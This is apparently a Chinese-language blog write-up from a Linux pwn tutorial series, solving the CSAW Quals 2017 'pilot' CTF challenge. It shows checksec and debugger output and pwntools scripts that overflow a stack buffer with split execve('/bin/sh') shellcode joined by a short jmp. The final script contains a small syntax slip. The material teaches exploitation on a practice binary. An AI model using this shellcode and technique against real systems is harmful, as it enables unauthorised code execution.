【Writeup】i春秋 Linux Pwn 入门教程_CSAW Quals CTF 2017-pilot

原创

BAKUMANSEC 于 2019-08-21 21:00:53 发布 471 收藏

分类专栏： i春秋_Linux pwn入门教程系列 - Writeups 文章标签： Writeup Pwn

本文链接：https://blog.csdn.net/m0_38100569/article/details/99997753

> Linux pwn入门教程(2)——shellcode的使用，原理与变形

0x01 解题思路

查看文件信息并试运行

```
wby@wby-virtual-machine:~/Desktop/CTF/pwn1/0x02/CSAW Quals CTF 2017-pilot$ file pilot
pilot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64
/l, for GNU/Linux 2.6.32, BuildID[sha1]=6ed26a43b94fd3ff1dd15964e4106df72c01dc6c, stripped
wby@wby-virtual-machine:~/Desktop/CTF/pwn1/0x02/CSAW Quals CTF 2017-pilot$ checksec pilot
[*] '/home/wby/Desktop/CTF/pwn1/0x02/CSAW Quals CTF 2017-pilot/pilot'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
wby@wby-virtual-machine:~/Desktop/CTF/pwn1/0x02/CSAW Quals CTF 2017-pilot$ ./pilot
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions
 to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7ffd426b9ca0
[*]Command:ls
[*]There are no commands....
[*]Mission Failed....
https://blog.csdn.net/m0_38100569
```

没有开保护，显示有RWX段。shellcode必须在具有R和X属性的内存空间上才能执行；

执行时输出了一个地址0x7ffd426b9ca0；

有用户输入点。

拖入IDA 64bits，F5查看

main

```
main
```

```
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]Welcome DropShip Pilot...");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]I am your assitant A.I....");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]I will be guiding you through the tutorial....");
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
v6 = std::operator<<<std::char_traits<char>>(
       &std::cout,
       "[*]As a first step, lets learn how to land at the designated location....");
std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
v7 = std::operator<<<std::char_traits<char>>(
       &std::cout,
       "[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...");
std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
v8 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]Good Luck Pilot!....");
std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
v9 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]Location:");
v10 = std::ostream::operator<<(v9, &buf);
std::ostream::operator<<(v10, &std::endl<char,std::char_traits<char>>);
std::operator<<<std::char_traits<char>>(&std::cout, "[*]Command:");
if ( read(0, &buf, 0x40uLL) > 4 )
  return 0LL;
v11 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]There are no commands....");
std::ostream::operator<<(v11, &std::endl<char,std::char_traits<char>>);
v12 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]Mission Failed....");
std::ostream::operator<<(v12, &std::endl<char,std::char_traits<char>>);
return 0xFFFFFFFFLL;
}
```


如图所示，红框处分别为输出地址和读取用户输入的伪代码，输出的地址应该是用户输入在栈上的地址&buf。read函数显然存在栈溢出漏洞。

测试一下溢出地址并计算偏移量

```
gdb-peda$ pattern offset AA0A
AA0A found at offset: 40
gdb-peda$ x/20wx 0x7fffffffdca0
0x7fffffffdca0: 0x25414141      0x41734141      0x41414241      0x6e414124
0x7fffffffdcb0: 0x41434141      0x41412d41      0x44414128      0x413b4141
0x7fffffffdcc0: 0x41412941      0x61414145      0x41304141      0x41414641
0x7fffffffdcd0: 0x31414162      0x41474141      0x41416341      0x48414132
0x7fffffffdce0: 0xf7ce98b0      0x00000001      0x004009a6      0x00000000
```

```
[*]Location:0x7fffffffdca0
[*]Command:AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
```

可以看出输出地址的确是用户输入的地址，而输入点距离RIP的偏移量是40。

由此可以将shellcode放在用户输入的开头，然后将RIP覆盖为程序输出的地址，这样理论上是可以执行shellcode的。初步EXP：

```
#!/usr/bin/python
#coding:utf-8

from pwn import *

context.update(arch = 'amd64', os = 'linux', timeout = 1)
#context.log_level = 'debug'

#io = remote('172.17.0.3', 10001)
io = process('./pilot')

shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
#xor rdx, rdx
```

```
#mov rbx, 0x68732f6e69622f2f
#shr rbx, 0x8
#push rbx
#mov rdi, rsp
#push rax
#push rdi
#mov rsi, rsp
#mov al, 0x3b
#syscall

print io.recvuntil("Location:")
shellcode_address_at_stack = int(io.recv()[0:14], 16)
log.info("Leak stack address = %x", shellcode_address_at_stack)

payload = ""
payload += shellcode
payload += "\x90"*(0x28-len(shellcode))
payload += p64(shellcode_address_at_stack)

io.send(payload)
io.interactive()
```

执行之后发现脚本有错

```
wby@wby-virtual-machine:~/Desktop/CTF/pwn1/0x02/CSAW Quals CTF 2017-pilot$ pytho
n myexp_f.py
[+] Starting local process './pilot': pid 68856
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequen
ce of instructions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:
[*] Leak stack address = 7fff60f60cf0
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
```


在main函数的返回指令处下断点，在脚本中加入gdb的attach语句从而与脚本交互调试

```
7 context.log_level = 'debug'
```

```
33 gdb.attach(io, 'b *0x400B34')
34 pause()
```

断下后，可以看到shellcode的确放置在预想的位置，接着单步执行试试

```
Terminal
   ↓
   0x7fffa13969b6    push   rdi
                                  [ STACK ]
00:0000 | rsi rsp  0x7fffa13969a0 ← 0x622f2fbb48d23148
01:0008 |          0x7fffa13969a8 ← 0xebc14868732f6e69
02:0010 |          0x7fffa13969b0 ← 0x485750e789485308
03:0018 |          0x7fffa13969b8 ← 0x9090050f3bb0e689
04:0020 | rbp      0x7fffa13969c0 ← 0x9090909090909090
```

```
myexp_1.py (~/Desktop/CTF/pwn1/0x02/CSAW Quals CTF 2017-pilot) - gedit
Open                                                                Save
 1 #!/usr/bin/python
 2 #coding:utf-8
 3
 4 from pwn import *
 5
 6 context.update(arch = 'amd64', os = 'linux', timeout = 1)
 7 context.log_level = 'debug'
 8
 9 #io = remote('172.17.0.3', 10001)
10 io = process('./pilot')
11
12 shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb
   \x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
```

单步执行发现，push rdi指令之后的shellcode被覆盖了无法执行

```
──────────────────────────────────[ DISASM ]──────────────────────────────────
   0x7fffa13969ad    shr    rbx, 8
   0x7fffa13969b1    push   rbx
   0x7fffa13969b2    mov    rdi, rsp
   0x7fffa13969b5    push   rax
   0x7fffa13969b6    push   rdi
 ► 0x7fffa13969b7    enter  0x3969, -0x5f
```

这时想到允许输入的字符串长度是0x40=64，输入到RIP的距离是40，而剩余的shellcode长度比24字节小的多，所以可以把shellcode分为两部分，不会被覆盖的放在原处，会被覆盖的放在RIP后面的位置。但是这样就需要一条跳转指令把两步分连接起来执行。除了无条件跳转指令jmp外，其余的跳转指令均会改变寄存器状态。刚好此代码中就有一条jmp指令：

```
.text:0000000000400B2D                  jmp     short locret_400B34
```

HEX视图：

```
0000000000400B20  48 89 C7 E8 58 FD FF FF  B8 FF FF FF FF EB 05 B8  H...X...........
```

这是jmp短跳转执行，操作码为EB，05是jmp之后的第一条指令到跳转点的距离。shellcode1的末尾与shellcode2的开头之间的偏移量是40 - 22 - 2 + 8 = 24 = 0x18，故需要构造的指令为'\xEB\x18'

```
int main(void)
{
    char shellcode[] =
    "\x48\x31\xd2"                          // xor    %rdx, %rdx
    "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"      // mov      $0x68732f6e69622f2f, %rbx
    "\x48\xc1\xeb\x08"                      // shr    $0x8, %rbx
    "\x53"                                  // push   %rbx
    "\x48\x89\xe7"                          // mov    %rsp, %rdi
    "\x50"                                  // push   %rax
    "\x57"                                  // push   %rdi
    "\x48\x89\xe6"                          // mov    %rsp, %rsi
    "\xb0\x3b"                              // mov    $0x3b, %al
    "\x0f\x05";                             // syscall
```


payload组成：

1. shellcode1（至 push %rax + `jmp 0x18` 指令）
2. padding （ 0x10 Bytes）
3. shellcode_address_at_stack（shellcode1地址）

4. shellcode2（push %rdi 至 syscall）

0x02 EXP

```
#!/usr/bin/python
#coding:utf-8

from pwn import *

context.update(arch = 'amd64', os = 'linux', timeout = 1)
#context.log_level = 'debug'

#io = remote('172.17.0.3', 10001)
io = process('./pilot')

shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x8
9\xe6\xb0\x3b\x0f\x05"
#xor rdx, rdx
#mov rbx, 0x68732f6e69622f2f
#shr rbx, 0x8
#push rbx
#mov rdi, rsp
#push rax
#push rdi
#mov rsi, rsp
#mov al, 0x3b
#syscall

shellcode1 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50"
shellcode1 += "\xeb\x18"
shellcode2 = "\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

print io.recvuntil("Location:")
shellcode_address_at_stack = int(io.recv()[0:14], 16
log.info("Leak stack address = %x", shellcode_address_at_stack)

payload = ""
payload += shellcode1
payload += "\x90"*(0x28-len(shellcode1))
payload += p64(shellcode_address_at_stack)
payload += shellcode2

#gdb.attach(io, 'b *0x400AE5')
#pause()
io.send(payload)
io.interactive()
```